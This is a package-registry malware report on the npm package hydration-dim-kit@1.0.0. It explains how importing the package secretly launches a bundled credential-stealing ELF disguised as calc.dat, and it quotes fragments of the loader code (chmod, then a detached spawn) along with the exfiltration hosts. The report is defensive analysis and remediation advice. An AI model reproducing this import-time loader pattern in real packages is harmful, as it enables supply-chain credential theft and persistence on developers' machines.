registry / Malware / hydration-dim-kit

hydration-dim-kit

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.

This report shows the evidence for hydration-dim-kit@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package executes a bundled native payload at import time, and its embedded credential, exfiltration, and persistence indicators establish a concrete malicious chain. Absence of an npm lifecycle hook does not mitigate import-time execution.

Static reason

No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Import hydration-dim-kit.

Impact

Credential theft, exfiltration, and host persistence.

Mechanism

Import-time detached execution of a credential-stealing ELF payload.

Attack narrative

The root module immediately locates calc.dat, marks it executable, verifies its fixed hash, and starts it detached on import. Static inspection identifies calc.dat as an ELF executable whose embedded strings include IP discovery and upload hosts, browser credential-store filenames, and service/desktop persistence names. These behaviors have no plausible connection to the advertised day-bucketing API.

AI rationale

Evidence

dist/index.mjsdist/internal/calc.dat

Network endpoints2

api.ipify.orglitterbox.catbox.moe

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Root import chmods and detached-spawns calc.dat.
calc.dat is a bundled ELF, not a math data file.
ELF embeds api.ipify.org and litterbox.catbox.moe.
ELF embeds browser credential targets and service persistence markers.

Evidence against

No npm lifecycle hook is declared.
The JavaScript day-math implementation itself is benign.

Behavioral surface

Source

ChildProcessCryptoFilesystemShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 4.84 KB of source

Source & flagged code

4 flagged

dist/internal/calc.datView file

•path = dist/internal/calc.dat kind = native_binary sizeBytes = 63616 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/internal/calc.datView on unpkg

dist/index.mjsView file

•matchType = malicious_source_fingerprint_signature signature = 5501fa102f254897 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = kit-map-vim@1.0.0 matchedPath = dist/index.mjs matchedIdentity = npm:a2l0LW1hcC12aW0:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.mjsView on unpkg

24(async () => { try { const __dirname = path.dirname(fileURLToPath(import.meta.url)); const binaryPath = path.join(__dirname, 'internal', 'calc.dat'); if (!fs.existsSync(binaryPath)) { console.warn('Native accelerator not found. Falling back to JS implementation.'); return; } try { fs.chmodSync(binaryPath, 0o755);

High

Ai Review Evidence

Root import chmods and detached-spawns calc.dat.

dist/index.mjsView on unpkg · L24

53console.log('Native accelerator loaded and verified.'); const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true });

High

Ai Review Evidence

Root import chmods and detached-spawns calc.dat.

dist/index.mjsView on unpkg · L53

Source & flagged code

4 flagged · loading source

dist/internal/calc.datView file

•path = dist/internal/calc.dat kind = native_binary sizeBytes = 63616 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/internal/calc.datView on unpkg

dist/index.mjsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.mjsView on unpkg

Findings

3 High1 Medium1 Low

HighKnown Malware Source Fingerprint Signaturedist/index.mjs

HighAi Review Evidencedist/index.mjs

MediumShips Native Binarydist/internal/calc.dat

LowFilesystem

Affected versions and remediation

This report applies to hydration-dim-kit@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing hydration-dim-kit@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-24 05:30:16.165Z (UTC).

Source advisory published: 2026-08-23 17:23:33.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 23, 2026, 5:22 PM 1.0.0shownMaliciousMalwareBlockPublishedAug 22, 2026, 9:26 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Behavioral surface

Source & flagged code

Related packages

Other malware packages